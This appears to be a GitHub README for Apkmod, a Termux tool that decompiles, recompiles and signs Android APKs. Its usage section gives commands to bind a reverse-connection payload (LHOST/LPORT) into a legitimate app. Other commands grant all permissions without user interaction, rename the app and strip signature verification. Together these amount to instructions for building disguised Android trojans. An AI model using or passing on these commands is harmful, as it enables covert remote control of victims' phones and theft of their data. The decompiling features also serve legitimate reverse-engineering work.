Hax4us / Apkmod

Apkmod can decompile, recompile, sign APK, and bind the payload with any legit APP
GNU General Public License v3.0
719 stars 96 forks source link
aapt2 apk apkmod apktool bind decompile kali payload recompile signing termux

Apkmod v4.1

Author : Lokesh @Hax4us

Steps For Installation

  1. First goto home directory cd $HOME
  2. Get the setup script wget https://raw.githubusercontent.com/Hax4us/Apkmod/master/setup.sh
  3. Execute the script bash setup.sh
  4. Now you can execute command apkmod

Usage :

  1. For decompiling apkmod -d -i /path/to/inapp.apk -o /path/to/outdirectory. It will decompile inapp.apk into outdirectory folder.
  2. For recompiling apkmod -r -i /path/to/indirectory -o /path/to/outapp.apk. It will recompile indirectory ( where decompiled files are exists ) into outapp.apk.
  3. For signing apkmod -s -i /path/to/unsignedapp.apk -o /path/to/signedapp.apk. It will sign unsignedapp.apk and saves output ( signed app ) to signedapp.apk.
  4. For binding apkmod -b -i /path/to/originalApp.apk -o /path/to/binded.apk LHOST=127.0.0.1 LPORT=4444. It will bind payload with originalApp.apk and saves final binded app to binded.apk.
  5. Use -V to enable verbose output
  6. If only editing Java (smali) then this is the recommended action for faster decompile & rebuild --no-res
  7. If you are only editing the resources. This is the recommended action for faster disassemble & assemble --no-smali
  8. use --frame-path to specify framework directory like --frame-path=/path/to/dir
  9. Use --enable-perm to enable all android permissions in binded or non binded payloads without user interaction. For example :- apkmod --enable-perm -i /path/to/binded.apk -o mybinded.apk
  10. apkmod --to-java -i /path/to/in.apk -o outfolder will decompile dex to java. Input can be [.apk,.dex,.zip]
  11. Now you can use a optional option -a to use aapt for binding and recompiling. Why aapt ? Because some apps can't recompile with aapt2 but aapt can do it. But I can't drop aapt2 support because some apps can't recompile with aapt so first recompile or bind without aapt (-a) then if you failed then try with aapt. For example apkmod -a -b -i /path/to/originalApp.apk -o /path/to/binded.apk LHOST=127.0.0.1 LPORT=4444 will use aapt otherwise aapt2.
  12. To change App name use --appname with -i. For example apkmod --appname="New App Name" -i /path/to/in.apk -o /path/to/out.apk
  13. To remove/kill signature verification of app , apkmod --signature-bypass --killer=k2 -i /path/to/in.apk -o /path/to/out.apk. There are two version available of signature killer , one is k1 and second one is k2, you will have to specify version like --killer=k1 or --killer=k2.

    Size Comparision (Termux)

    Size   Apkmod   Third party tools
    after installation Around 100 MB Around 700-900 MB

Why Apkmod is extremely small ?

Because it has Alpine instead of Ubuntu, kali, parrot or other glibc based distros.

You can join me on telegram also

https://t.me/hax4us_group